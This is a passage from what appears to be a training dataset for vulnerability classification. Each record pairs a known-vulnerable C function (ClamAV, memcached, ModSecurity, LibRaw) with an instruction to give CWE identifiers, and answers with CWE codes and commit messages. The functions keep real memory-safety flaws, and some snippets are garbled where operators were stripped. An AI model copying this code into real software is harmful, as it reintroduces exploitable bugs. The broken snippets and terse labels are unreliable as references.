1;\n\t\tcli_dbgmsg(\"UPX: Successfully decompressed with NRV2E\\n\");\n\t }\n\t}\n\n\tif(cli_memstr(UPX_LZMA2, 20, epbuff + 0x2f, 20)) {\n\t uint32_t strictdsize=cli_readint32(epbuff+0x21), skew = 0;\n\t if(ssize > 0x15 && epbuff[0] == '\\x60' && epbuff[1] == '\\xbe') {\n\t\tskew = cli_readint32(epbuff+2) - exe_sections[i + 1].rva - optional_hdr32.ImageBase;\n\t\tif(skew!=0x15) skew = 0;\n\t }\n\t if(strictdsize<=dsize)\n\t\tupx_success = upx_inflatelzma(src+skew, ssize-skew, dest, &strictdsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) >=0;\n\t} else if (cli_memstr(UPX_LZMA1, 20, epbuff + 0x39, 20)) {\n\t uint32_t strictdsize=cli_readint32(epbuff+0x2b), skew = 0;\n\t if(ssize > 0x15 && epbuff[0] == '\\x60' && epbuff[1] == '\\xbe') {\n\t\tskew = cli_readint32(epbuff+2) - exe_sections[i + 1].rva - optional_hdr32.ImageBase;\n\t\tif(skew!=0x15) skew = 0;\n\t }\n\t if(strictdsize<=dsize)\n\t\tupx_success = upx_inflatelzma(src+skew, ssize-skew, dest, &strictdsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) >=0;\n\t}\n\n\tif(!upx_success) {\n\t cli_dbgmsg(\"UPX: All decompressors failed\\n\");\n\t free(dest);\n\t}\n }\n\n if(upx_success) {\n\tfree(exe_sections);\n\n\tCLI_UNPTEMP(\"UPX/FSG\",(dest,0));\n\n\tif((unsigned int) write(ndesc, dest, dsize) != dsize) {\n\t cli_dbgmsg(\"UPX/FSG: Can't write %d bytes\\n\", dsize);\n\t free(tempfile);\n\t free(dest);\n\t close(ndesc);\n\t return CL_EWRITE;\n\t}\n\n\tfree(dest);\n\tlseek(ndesc, 0, SEEK_SET);\n\n\tif(ctx->engine->keeptmp)\n\t cli_dbgmsg(\"UPX/FSG: Decompressed data saved in %s\\n\", tempfile);\n\n\tcli_dbgmsg(\"***** Scanning decompressed file *****\\n\");\n\tSHA_OFF;\n\tif((ret = cli_magic_scandesc(ndesc, ctx)) == CL_VIRUS) {\n\t close(ndesc);\n\t CLI_TMPUNLK();\n\t free(tempfile);\n\t SHA_RESET;\n\t return CL_VIRUS;\n\t}\n\n\tSHA_RESET;\n\tclose(ndesc);\n\tCLI_TMPUNLK();\n\tfree(tempfile);\n\treturn ret;\n }\n\n\n /* Petite */\n\n if(epsize<200) {\n\tfree(exe_sections);\n\treturn CL_CLEAN;\n }\n\n found = 2;\n\n if(epbuff[0] != '\\xb8' || (uint32_t) cli_readint32(epbuff + 1) != exe_sections[nsections - 1].rva + EC32(optional_hdr32.ImageBase)) {\n\tif(nsections < 2 || epbuff[0] != '\\xb8' || (uint32_t) cli_readint32(epbuff + 1) != exe_sections[nsections - 2].rva + EC32(optional_hdr32.ImageBase))\n\t found = 0;\n\telse\n\t found = 1;\n }\n\n if(found && (DCONF & PE_CONF_PETITE)) {\n\tcli_dbgmsg(\"Petite: v2.%d compression detected\\n\", found);\n\n\tif(cli_readint32(epbuff + 0x80) == 0x163c988d) {\n\t cli_dbgmsg(\"Petite: level zero compression is not supported yet\\n\");\n\t} else {\n\t dsize = max - min;\n\n\t CLI_UNPSIZELIMITS(\"Petite\", dsize);\n\n\t if((dest = (char *) cli_calloc(dsize, sizeof(char))) == NULL) {\n\t\tcli_dbgmsg(\"Petite: Can't allocate %d bytes\\n\", dsize);\n\t\tfree(exe_sections);\n\t\treturn CL_EMEM;\n\t }\n\n\t for(i = 0 ; i < nsections; i++) {\n\t\tif(exe_sections[i].raw) {\n\t\t if(!exe_sections[i].rsz || fmap_readn(map, dest + exe_sections[i].rva - min, exe_sections[i].raw, exe_sections[i].ursz) != exe_sections[i].ursz) {\n\t\t\tfree(exe_sections);\n\t\t\tfree(dest);\n\t\t\treturn CL_CLEAN;\n\t\t }\n\t\t}\n\t }\n\n\t CLI_UNPTEMP(\"Petite\",(dest,exe_sections,0));\n\t CLI_UNPRESULTS(\"Petite\",(petite_inflate2x_1to9(dest, min, max - min, exe_sections, nsections - (found == 1 ? 1 : 0), EC32(optional_hdr32.ImageBase),vep, ndesc, found, EC32(optional_hdr32.DataDirectory[2].VirtualAddress),EC32(optional_hdr32.DataDirectory[2].Size))),0,(dest,0));\n\t}\n }\n\n /* PESpin 1.1 */\n\n if((DCONF & PE_CONF_PESPIN) && nsections > 1 &&\n vep >= exe_sections[nsections - 1].rva &&\n vep < exe_sections[nsections - 1].rva + exe_sections[nsections - 1].rsz - 0x3217 - 4 &&\n memcmp(epbuff+4, \"\\xe8\\x00\\x00\\x00\\x00\\x8b\\x1c\\x24\\x83\\xc3\", 10) == 0) {\n\n\tchar *spinned;\n\n\tCLI_UNPSIZELIMITS(\"PEspin\", fsize);\n\n\tif((spinned = (char *) cli_malloc(fsize)) == NULL) {\n\t free(exe_sections);\n\t return CL_EMEM;\n\t}\n\n\tif((size_t) fmap_readn(map, spinned, 0, fsize) != fsize) {\n\t cli_dbgmsg(\"PESpin: Can't read %lu bytes\\n\", (unsigned long)fsize);\n\t free(spinned);\n\t free(exe_sections);\n\t return CL_EREAD;\n\t}\n\n\tCLI_UNPTEMP(\"PESpin\",(spinned,exe_sections,0));\n\tCLI_UNPRESULTS_(\"PEspin\",SPINCASE(),(unspin(spinned, fsize, exe_sections, nsections - 1, vep, ndesc, ctx)),0,(spinned,0));\n }\n\n\n /* yC 1.3 & variants */\n if((DCONF & PE_CONF_YC) && nsections > 1 &&\n (EC32(optional_hdr32.AddressOfEntryPoint) == exe_sections[nsections - 1].rva + 0x60)) {\n\n\tuint32_t ecx = 0;\n\tint16_t offset;\n\n\t/* yC 1.3 */\n\tif (!memcmp(epbuff, \"\\x55\\x8B\\xEC\\x53\\x56\\x57\\x60\\xE8\\x00\\x00\\x00\\x00\\x5D\\x81\\xED\", 15) &&\n\t !memcmp(epbuff+0x26, \"\\x8D\\x3A\\x8B\\xF7\\x33\\xC0\\xEB\\x04\\x90\\xEB\\x01\\xC2\\xAC\", 13) &&\n\t ((uint8_t)epbuff[0x13] == 0xB9) &&\n\t ((uint16_t)(cli_readint16(epbuff+0x18)) == 0xE981) &&\n\t !memcmp(epbuff+0x1e,\"\\x8B\\xD5\\x81\\xC2\", 4)) {\n\n\t offset = 0;\n\t if (0x6c - cli_readint32(epbuff+0xf) + cli_readint32(epbuff+0x22) == 0xC6)\n\t\tecx = cli_readint32(epbuff+0x14) - cli_readint32(epbuff+0x1a);\n\t}\n\n\t/* yC 1.3 variant */\n\tif (!ecx && !memcmp(epbuff, \"\\x55\\x8B\\xEC\\x83\\xEC\\x40\\x53\\x56\\x57\", 9) &&\n\t !memcmp(epbuff+0x17, \"\\xe8\\x00\\x00\\x00\\x00\\x5d\\x81\\xed\", 8) &&\n\t ((uint8_t)epbuff[0x23] == 0xB9)) {\n\n\t offset = 0x10;\n\t if (0x6c - cli_readint32(epbuff+0x1f) + cli_readint32(epbuff+0x32) == 0xC6)\n\t\tecx = cli_readint32(epbuff+0x24) - cli_readint32(epbuff+0x2a);\n\t}\n\n\t/* yC 1.x/modified */\n\tif (!ecx && !memcmp(epbuff, \"\\x60\\xe8\\x00\\x00\\x00\\x00\\x5d\\x81\\xed\",9) &&\n\t ((uint8_t)epbuff[0xd] == 0xb9) &&\n\t ((uint16_t)cli_readint16(epbuff + 0x12)== 0xbd8d) &&\n\t !memcmp(epbuff+0x18, \"\\x8b\\xf7\\xac\", 3)) {\n\n\t offset = -0x18;\n\t if (0x66 - cli_readint32(epbuff+0x9) + cli_readint32(epbuff+0x14) == 0xae)\n\t\tecx = cli_readint32(epbuff+0xe);\n\t}\n\n\tif (ecx > 0x800 && ecx < 0x2000 &&\n\t !memcmp(epbuff+0x63+offset, \"\\xaa\\xe2\\xcc\", 3) &&\n\t (fsize >= exe_sections[nsections-1].raw + 0xC6 + ecx + offset)) {\n\n\t char *spinned;\n\n\t if((spinned = (char *) cli_malloc(fsize)) == NULL) {\n\t free(exe_sections);\n\t return CL_EMEM;\n\t }\n\n\t if((size_t) fmap_readn(map, spinned, 0, fsize) != fsize) {\n\t cli_dbgmsg(\"yC: Can't read %lu bytes\\n\", (unsigned long)fsize);\n\t free(spinned);\n\t free(exe_sections);\n\t return CL_EREAD;\n\t }\n\n\t cli_dbgmsg(\"%d,%d,%d,%d\\n\", nsections-1, e_lfanew, ecx, offset);\n\t CLI_UNPTEMP(\"yC\",(spinned,exe_sections,0));\n\t CLI_UNPRESULTS(\"yC\",(yc_decrypt(spinned, fsize, exe_sections, nsections-1, e_lfanew, ndesc, ecx, offset)),0,(spinned,0));\n\t}\n }\n\n /* WWPack */\n\n while ((DCONF & PE_CONF_WWPACK) && nsections > 1 &&\n vep == exe_sections[nsections - 1].rva &&\n memcmp(epbuff, \"\\x53\\x55\\x8b\\xe8\\x33\\xdb\\xeb\", 7) == 0 &&\n memcmp(epbuff+0x68, \"\\xe8\\x00\\x00\\x00\\x00\\x58\\x2d\\x6d\\x00\\x00\\x00\\x50\\x60\\x33\\xc9\\x50\\x58\\x50\\x50\", 19) == 0) {\n\tuint32_t head = exe_sections[nsections - 1].raw;\n uint8_t *packer;\n\n\tssize = 0;\n\tfor(i=0 ; ; i++) {\n\t if(exe_sections[i].rawssize) break;\n\n\tCLI_UNPSIZELIMITS(\"WWPack\", ssize);\n\n if(!(src=(char *)cli_calloc(ssize, sizeof(char)))) {\n\t free(exe_sections);\n\t return CL_EMEM;\n\t}\n\tif((size_t) fmap_readn(map, src, 0, head) != head) {\n\t cli_dbgmsg(\"WWPack: Can't read %d bytes from headers\\n\", head);\n\t free(src);\n\t free(exe_sections);\n\t return CL_EREAD;\n\t}\n for(i = 0 ; i < (unsigned int)nsections-1; i++) {\n\t if(!exe_sections[i].rsz) continue;\n if(!CLI_ISCONTAINED(src, ssize, src+exe_sections[i].rva, exe_sections[i].rsz)) break;\n if(fmap_readn(map, src+exe_sections[i].rva, exe_sections[i].raw, exe_sections[i].rsz)!=exe_sections[i].rsz) break;\n }\n if(i+1!=nsections) {\n cli_dbgmsg(\"WWpack: Probably hacked/damaged file.\\n\");\n free(src);\n break;\n }\n\tif((packer = (uint8_t *) cli_calloc(exe_sections[nsections - 1].rsz, sizeof(char))) == NULL) {\n\t free(src);\n\t free(exe_sections);\n\t return CL_EMEM;\n\t}\n\tif(!exe_sections[nsections - 1].rsz || (size_t) fmap_readn(map, packer, exe_sections[nsections - 1].raw, exe_sections[nsections - 1].rsz) != exe_sections[nsections - 1].rsz) {\n\t cli_dbgmsg(\"WWPack: Can't read %d bytes from wwpack sect\\n\", exe_sections[nsections - 1].rsz);\n\t free(src);\n\t free(packer);\n\t free(exe_sections);\n\t return CL_EREAD;\n\t}\n\n\tCLI_UNPTEMP(\"WWPack\",(src,packer,exe_sections,0));\n\tCLI_UNPRESULTS(\"WWPack\",(wwunpack((uint8_t *)src, ssize, packer, exe_sections, nsections-1, e_lfanew, ndesc)),0,(src,packer,0));\n\tbreak;\n }\n\n\n /* ASPACK support */\n while((DCONF & PE_CONF_ASPACK) && ep+58+0x70e < fsize && !memcmp(epbuff,\"\\x60\\xe8\\x03\\x00\\x00\\x00\\xe9\\xeb\",8)) {\n\n if(epsize<0x3bf || memcmp(epbuff+0x3b9, \"\\x68\\x00\\x00\\x00\\x00\\xc3\",6)) break;\n\tssize = 0;\n\tfor(i=0 ; i< nsections ; i++)\n\t if(ssizecorrupted_input = corrupted_cur;\n\n /* Bytecode BC_PE_UNPACKER hook */\n bc_ctx = cli_bytecode_context_alloc();\n if (!bc_ctx) {\n\tcli_errmsg(\"cli_scanpe: can't allocate memory for bc_ctx\\n\");\n\treturn CL_EMEM;\n }\n cli_bytecode_context_setpe(bc_ctx, &pedata, exe_sections);\n cli_bytecode_context_setctx(bc_ctx, ctx);\n ret = cli_bytecode_runhook(ctx, ctx->engine, bc_ctx, BC_PE_UNPACKER, map);\n switch (ret) {\n\tcase CL_VIRUS:\n\t free(exe_sections);\n\t cli_bytecode_context_destroy(bc_ctx);\n\t return CL_VIRUS;\n\tcase CL_SUCCESS:\n\t ndesc = cli_bytecode_context_getresult_file(bc_ctx, &tempfile);\n\t cli_bytecode_context_destroy(bc_ctx);\n\t if (ndesc != -1 && tempfile) {\n\t\tCLI_UNPRESULTS(\"bytecode PE hook\", 1, 1, (0));\n\t }\n\t break;\n\tdefault:\n\t cli_bytecode_context_destroy(bc_ctx);\n }\n\n free(exe_sections);\n if (SCAN_ALL && viruses_found)\n\treturn CL_VIRUS;\n return CL_CLEAN; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'libclamav: bb #7055'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void drive_machine(conn *c) {\n bool stop = false;\n int sfd, flags = 1;\n socklen_t addrlen;\n struct sockaddr_storage addr;\n int nreqs = settings.reqs_per_event;\n int res;\n const char *str;\n\n assert(c != NULL);\n\n while (!stop) {\n\n switch(c->state) {\n case conn_listening:\n addrlen = sizeof(addr);\n if ((sfd = accept(c->sfd, (struct sockaddr *)&addr, &addrlen)) == -1) {\n if (errno == EAGAIN || errno == EWOULDBLOCK) {\n /* these are transient, so don't log anything */\n stop = true;\n } else if (errno == EMFILE) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Too many open connections\\n\");\n accept_new_conns(false);\n stop = true;\n } else {\n perror(\"accept()\");\n stop = true;\n }\n break;\n }\n if ((flags = fcntl(sfd, F_GETFL, 0)) < 0 ||\n fcntl(sfd, F_SETFL, flags | O_NONBLOCK) < 0) {\n perror(\"setting O_NONBLOCK\");\n close(sfd);\n break;\n }\n\n if (settings.maxconns_fast &&\n stats.curr_conns + stats.reserved_fds >= settings.maxconns - 1) {\n str = \"ERROR Too many open connections\\r\\n\";\n res = write(sfd, str, strlen(str));\n close(sfd);\n STATS_LOCK();\n stats.rejected_conns++;\n STATS_UNLOCK();\n } else {\n dispatch_conn_new(sfd, conn_new_cmd, EV_READ | EV_PERSIST,\n DATA_BUFFER_SIZE, tcp_transport);\n }\n\n stop = true;\n break;\n\n case conn_waiting:\n if (!update_event(c, EV_READ | EV_PERSIST)) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Couldn't update event\\n\");\n conn_set_state(c, conn_closing);\n break;\n }\n\n conn_set_state(c, conn_read);\n stop = true;\n break;\n\n case conn_read:\n res = IS_UDP(c->transport) ? try_read_udp(c) : try_read_network(c);\n\n switch (res) {\n case READ_NO_DATA_RECEIVED:\n conn_set_state(c, conn_waiting);\n break;\n case READ_DATA_RECEIVED:\n conn_set_state(c, conn_parse_cmd);\n break;\n case READ_ERROR:\n conn_set_state(c, conn_closing);\n break;\n case READ_MEMORY_ERROR: /* Failed to allocate more memory */\n /* State already set by try_read_network */\n break;\n }\n break;\n\n case conn_parse_cmd :\n if (try_read_command(c) == 0) {\n /* wee need more data! */\n conn_set_state(c, conn_waiting);\n }\n\n break;\n\n case conn_new_cmd:\n /* Only process nreqs at a time to avoid starving other\n connections */\n\n --nreqs;\n if (nreqs >= 0) {\n reset_cmd_handler(c);\n } else {\n pthread_mutex_lock(&c->thread->stats.mutex);\n c->thread->stats.conn_yields++;\n pthread_mutex_unlock(&c->thread->stats.mutex);\n if (c->rbytes > 0) {\n /* We have already read in data into the input buffer,\n so libevent will most likely not signal read events\n on the socket (unless more data is available. As a\n hack we should just put in a request to write data,\n because that should be possible ;-)\n */\n if (!update_event(c, EV_WRITE | EV_PERSIST)) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Couldn't update event\\n\");\n conn_set_state(c, conn_closing);\n break;\n }\n }\n stop = true;\n }\n break;\n\n case conn_nread:\n if (c->rlbytes == 0) {\n complete_nread(c);\n break;\n }\n /* first check if we have leftovers in the conn_read buffer */\n if (c->rbytes > 0) {\n int tocopy = c->rbytes > c->rlbytes ? c->rlbytes : c->rbytes;\n if (c->ritem != c->rcurr) {\n memmove(c->ritem, c->rcurr, tocopy);\n }\n c->ritem += tocopy;\n c->rlbytes -= tocopy;\n c->rcurr += tocopy;\n c->rbytes -= tocopy;\n if (c->rlbytes == 0) {\n break;\n }\n }\n\n /* now try reading from the socket */\n res = read(c->sfd, c->ritem, c->rlbytes);\n if (res > 0) {\n pthread_mutex_lock(&c->thread->stats.mutex);\n c->thread->stats.bytes_read += res;\n pthread_mutex_unlock(&c->thread->stats.mutex);\n if (c->rcurr == c->ritem) {\n c->rcurr += res;\n }\n c->ritem += res;\n c->rlbytes -= res;\n break;\n }\n if (res == 0) { /* end of stream */\n conn_set_state(c, conn_closing);\n break;\n }\n if (res == -1 && (errno == EAGAIN || errno == EWOULDBLOCK)) {\n if (!update_event(c, EV_READ | EV_PERSIST)) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Couldn't update event\\n\");\n conn_set_state(c, conn_closing);\n break;\n }\n stop = true;\n break;\n }\n /* otherwise we have a real error, on which we close the connection */\n if (settings.verbose > 0) {\n fprintf(stderr, \"Failed to read, and not due to blocking:\\n\"\n \"errno: %d %s \\n\"\n \"rcurr=%lx ritem=%lx rbuf=%lx rlbytes=%d rsize=%d\\n\",\n errno, strerror(errno),\n (long)c->rcurr, (long)c->ritem, (long)c->rbuf,\n (int)c->rlbytes, (int)c->rsize);\n }\n conn_set_state(c, conn_closing);\n break;\n\n case conn_swallow:\n /* we are reading sbytes and throwing them away */\n if (c->sbytes == 0) {\n conn_set_state(c, conn_new_cmd);\n break;\n }\n\n /* first check if we have leftovers in the conn_read buffer */\n if (c->rbytes > 0) {\n int tocopy = c->rbytes > c->sbytes ? c->sbytes : c->rbytes;\n c->sbytes -= tocopy;\n c->rcurr += tocopy;\n c->rbytes -= tocopy;\n break;\n }\n\n /* now try reading from the socket */\n res = read(c->sfd, c->rbuf, c->rsize > c->sbytes ? c->sbytes : c->rsize);\n if (res > 0) {\n pthread_mutex_lock(&c->thread->stats.mutex);\n c->thread->stats.bytes_read += res;\n pthread_mutex_unlock(&c->thread->stats.mutex);\n c->sbytes -= res;\n break;\n }\n if (res == 0) { /* end of stream */\n conn_set_state(c, conn_closing);\n break;\n }\n if (res == -1 && (errno == EAGAIN || errno == EWOULDBLOCK)) {\n if (!update_event(c, EV_READ | EV_PERSIST)) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Couldn't update event\\n\");\n conn_set_state(c, conn_closing);\n break;\n }\n stop = true;\n break;\n }\n /* otherwise we have a real error, on which we close the connection */\n if (settings.verbose > 0)\n fprintf(stderr, \"Failed to read, and not due to blocking\\n\");\n conn_set_state(c, conn_closing);\n break;\n\n case conn_write:\n /*\n * We want to write out a simple response. If we haven't already,\n * assemble it into a msgbuf list (this will be a single-entry\n * list for TCP or a two-entry list for UDP).\n */\n if (c->iovused == 0 || (IS_UDP(c->transport) && c->iovused == 1)) {\n if (add_iov(c, c->wcurr, c->wbytes) != 0) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Couldn't build response\\n\");\n conn_set_state(c, conn_closing);\n break;\n }\n }\n\n /* fall through... */\n\n case conn_mwrite:\n if (IS_UDP(c->transport) && c->msgcurr == 0 && build_udp_headers(c) != 0) {\n if (settings.verbose > 0)\n fprintf(stderr, \"Failed to build UDP headers\\n\");\n conn_set_state(c, conn_closing);\n break;\n }\n switch (transmit(c)) {\n case TRANSMIT_COMPLETE:\n if (c->state == conn_mwrite) {\n while (c->ileft > 0) {\n item *it = *(c->icurr);\n assert((it->it_flags & ITEM_SLABBED) == 0);\n item_remove(it);\n c->icurr++;\n c->ileft--;\n }\n while (c->suffixleft > 0) {\n char *suffix = *(c->suffixcurr);\n cache_free(c->thread->suffix_cache, suffix);\n c->suffixcurr++;\n c->suffixleft--;\n }\n /* XXX: I don't know why this wasn't the general case */\n if(c->protocol == binary_prot) {\n conn_set_state(c, c->write_and_go);\n } else {\n conn_set_state(c, conn_new_cmd);\n }\n } else if (c->state == conn_write) {\n if (c->write_and_free) {\n free(c->write_and_free);\n c->write_and_free = 0;\n }\n conn_set_state(c, c->write_and_go);\n } else {\n if (settings.verbose > 0)\n fprintf(stderr, \"Unexpected state %d\\n\", c->state);\n conn_set_state(c, conn_closing);\n }\n break;\n\n case TRANSMIT_INCOMPLETE:\n case TRANSMIT_HARD_ERROR:\n break; /* Continue in state machine. */\n\n case TRANSMIT_SOFT_ERROR:\n stop = true;\n break;\n }\n break;\n\n case conn_closing:\n if (IS_UDP(c->transport))\n conn_cleanup(c);\n else\n conn_close(c);\n stop = true;\n break;\n\n case conn_max_state:\n assert(false);\n break;\n }\n }\n\n return;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix segfault on specially crafted packet.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static apr_status_t modsecurity_request_body_store_memory(modsec_rec *msr,\n const char *data, apr_size_t length, char **error_msg)\n{\n *error_msg = NULL;\n\n /* Would storing this chunk mean going over the limit? */\n if ((msr->msc_reqbody_spilltodisk)\n && (msr->msc_reqbody_length + length > (apr_size_t)msr->txcfg->reqbody_inmemory_limit))\n {\n msc_data_chunk **chunks;\n unsigned int disklen = 0;\n int i;\n\n msr_log(msr, 4, \"Input filter: Request too large to store in memory, switching to disk.\");\n\n /* NOTE Must use modsecurity_request_body_store_disk() here\n * to prevent data to be sent to the streaming\n * processors again.\n */\n\n /* Initialise disk storage */\n msr->msc_reqbody_storage = MSC_REQBODY_DISK;\n if (modsecurity_request_body_start_init(msr, error_msg) < 0) return -1;\n\n /* Write the data we keep in memory */\n chunks = (msc_data_chunk **)msr->msc_reqbody_chunks->elts;\n for(i = 0; i < msr->msc_reqbody_chunks->nelts; i++) {\n disklen += chunks[i]->length;\n\n if (modsecurity_request_body_store_disk(msr, chunks[i]->data, chunks[i]->length, error_msg) < 0) {\n return -1;\n }\n\n free(chunks[i]->data);\n chunks[i]->data = NULL;\n }\n\n /* Clear the memory pool as we no longer need the bits. */\n\n /* IMP1 But since we only used apr_pool_clear memory might\n * not be released back to the OS straight away?\n */\n msr->msc_reqbody_chunks = NULL;\n apr_pool_clear(msr->msc_reqbody_mp);\n\n msr_log(msr, 4, \"Input filter: Wrote %u bytes from memory to disk.\", disklen);\n\n /* Continue with disk storage from now on */\n return modsecurity_request_body_store_disk(msr, data, length, error_msg);\n }\n\n /* If we're here that means we are not over the\n * request body in-memory limit yet.\n */\n {\n unsigned long int bucket_offset, bucket_left;\n\n bucket_offset = 0;\n bucket_left = length;\n\n /* Although we store the request body in chunks we don't\n * want to use the same chunk sizes as the incoming memory\n * buffers. They are often of very small sizes and that\n * would make us waste a lot of memory. That's why we\n * use our own chunks of CHUNK_CAPACITY sizes.\n */\n\n /* Loop until we empty this bucket into our chunks. */\n while(bucket_left > 0) {\n /* Allocate a new chunk if we have to. */\n if (msr->msc_reqbody_chunk_current == NULL) {\n msr->msc_reqbody_chunk_current = (msc_data_chunk *)\n apr_pcalloc(msr->msc_reqbody_mp, sizeof(msc_data_chunk));\n if (msr->msc_reqbody_chunk_current == NULL) {\n *error_msg = apr_psprintf(msr->mp, \"Input filter: Failed to allocate %lu bytes \"\n \"for request body chunk.\", (unsigned long)sizeof(msc_data_chunk));\n return -1;\n }\n\n msr->msc_reqbody_chunk_current->data = malloc(CHUNK_CAPACITY);\n if (msr->msc_reqbody_chunk_current->data == NULL) {\n *error_msg = apr_psprintf(msr->mp, \"Input filter: Failed to allocate %d bytes \"\n \"for request body chunk data.\", CHUNK_CAPACITY);\n return -1;\n }\n\n msr->msc_reqbody_chunk_current->length = 0;\n msr->msc_reqbody_chunk_current->is_permanent = 1;\n\n *(const msc_data_chunk **)apr_array_push(msr->msc_reqbody_chunks)\n = msr->msc_reqbody_chunk_current;\n }\n\n if (bucket_left < (CHUNK_CAPACITY - msr->msc_reqbody_chunk_current->length)) {\n /* There's enough space in the current chunk. */\n memcpy(msr->msc_reqbody_chunk_current->data +\n msr->msc_reqbody_chunk_current->length, data + bucket_offset, bucket_left);\n msr->msc_reqbody_chunk_current->length += bucket_left;\n bucket_left = 0;\n } else {\n /* Fill the existing chunk. */\n unsigned long int copy_length = CHUNK_CAPACITY -\n msr->msc_reqbody_chunk_current->length;\n\n memcpy(msr->msc_reqbody_chunk_current->data +\n msr->msc_reqbody_chunk_current->length, data + bucket_offset, copy_length);\n bucket_offset += copy_length;\n bucket_left -= copy_length;\n msr->msc_reqbody_chunk_current->length += copy_length;\n\n /* We're done with this chunk. Setting the pointer\n * to NULL is going to force a new chunk to be allocated\n * on the next go.\n */\n msr->msc_reqbody_chunk_current = NULL;\n }\n }\n\n msr->msc_reqbody_length += length;\n }\n\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fixed: chuck null pointer when unknown CT is sent and over in-memory limit'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int LibRaw::unpack(void)\n{\n CHECK_ORDER_HIGH(LIBRAW_PROGRESS_LOAD_RAW);\n CHECK_ORDER_LOW(LIBRAW_PROGRESS_IDENTIFY);\n try {\n\n RUN_CALLBACK(LIBRAW_PROGRESS_LOAD_RAW,0,2);\n if (O.shot_select >= P1.raw_count)\n return LIBRAW_REQUEST_FOR_NONEXISTENT_IMAGE;\n \n if(!load_raw)\n return LIBRAW_UNSPECIFIED_ERROR;\n \n if (O.use_camera_matrix && C.cmatrix[0][0] > 0.25) \n {\n memcpy (C.rgb_cam, C.cmatrix, sizeof (C.cmatrix));\n IO.raw_color = 0;\n }\n // already allocated ?\n if(imgdata.image)\n {\n free(imgdata.image);\n imgdata.image = 0;\n }\n\n if (libraw_internal_data.unpacker_data.meta_length) \n {\n libraw_internal_data.internal_data.meta_data = \n (char *) malloc (libraw_internal_data.unpacker_data.meta_length);\n merror (libraw_internal_data.internal_data.meta_data, \"LibRaw::unpack()\");\n }\n ID.input->seek(libraw_internal_data.unpacker_data.data_offset, SEEK_SET);\n int save_document_mode = O.document_mode;\n O.document_mode = 0;\n\n libraw_decoder_info_t decoder_info;\n get_decoder_info(&decoder_info);\n\n int save_iwidth = S.iwidth, save_iheight = S.iheight, save_shrink = IO.shrink;\n\n int rwidth = S.raw_width, rheight = S.raw_height;\n if( !IO.fuji_width)\n {\n // adjust non-Fuji allocation\n if(rwidth < S.width + S.left_margin)\n rwidth = S.width + S.left_margin;\n if(rheight < S.height + S.top_margin)\n rheight = S.height + S.top_margin;\n }\n \n if(decoder_info.decoder_flags & LIBRAW_DECODER_FLATFIELD)\n {\n imgdata.rawdata.raw_alloc = malloc(rwidth*rheight*sizeof(imgdata.rawdata.raw_image[0]));\n imgdata.rawdata.raw_image = (ushort*) imgdata.rawdata.raw_alloc;\n }\n else if (decoder_info.decoder_flags & LIBRAW_DECODER_4COMPONENT)\n {\n S.iwidth = S.width;\n S.iheight= S.height;\n IO.shrink = 0;\n imgdata.rawdata.raw_alloc = calloc(rwidth*rheight,sizeof(*imgdata.rawdata.color_image));\n imgdata.rawdata.color_image = (ushort(*)[4]) imgdata.rawdata.raw_alloc;\n }\n else if (decoder_info.decoder_flags & LIBRAW_DECODER_LEGACY)\n {\n // sRAW and Foveon only, so extra buffer size is just 1/4\n // Legacy converters does not supports half mode!\n S.iwidth = S.width;\n S.iheight= S.height;\n IO.shrink = 0;\n // allocate image as temporary buffer, size \n imgdata.rawdata.raw_alloc = calloc(S.iwidth*S.iheight,sizeof(*imgdata.image));\n imgdata.image = (ushort (*)[4]) imgdata.rawdata.raw_alloc;\n }\n\n\n (this->*load_raw)();\n\n\n // recover saved\n if( decoder_info.decoder_flags & LIBRAW_DECODER_LEGACY)\n {\n imgdata.image = 0; \n imgdata.rawdata.color_image = (ushort (*)[4]) imgdata.rawdata.raw_alloc;\n }\n\n // calculate channel maximum\n {\n for(int c=0;c<4;c++) C.channel_maximum[c] = 0;\n if(decoder_info.decoder_flags & LIBRAW_DECODER_LEGACY)\n {\n for(int rc = 0; rc < S.iwidth*S.iheight; rc++)\n {\n if(C.channel_maximum[0] C.cblack[c]) i = C.cblack[c];\n for (c=0;c<4;c++)\n C.cblack[c] -= i;\n C.black += i;\n\n\n // Save color,sizes and internal data into raw_image fields\n memmove(&imgdata.rawdata.color,&imgdata.color,sizeof(imgdata.color));\n memmove(&imgdata.rawdata.sizes,&imgdata.sizes,sizeof(imgdata.sizes));\n memmove(&imgdata.rawdata.iparams,&imgdata.idata,sizeof(imgdata.idata));\n memmove(&imgdata.rawdata.ioparams,&libraw_internal_data.internal_output_params,sizeof(libraw_internal_data.internal_output_params));\n\n SET_PROC_FLAG(LIBRAW_PROGRESS_LOAD_RAW);\n RUN_CALLBACK(LIBRAW_PROGRESS_LOAD_RAW,1,2);\n \n return 0;\n }\n catch ( LibRaw_exceptions err) {\n EXCEPTION_HANDLER(err);\n }\n catch (std::exception ee) {\n EXCEPTION_HANDLER(LIBRAW_EXCEPTION_IO_CORRUPT);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'fixed error handling for broken full-color images'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration 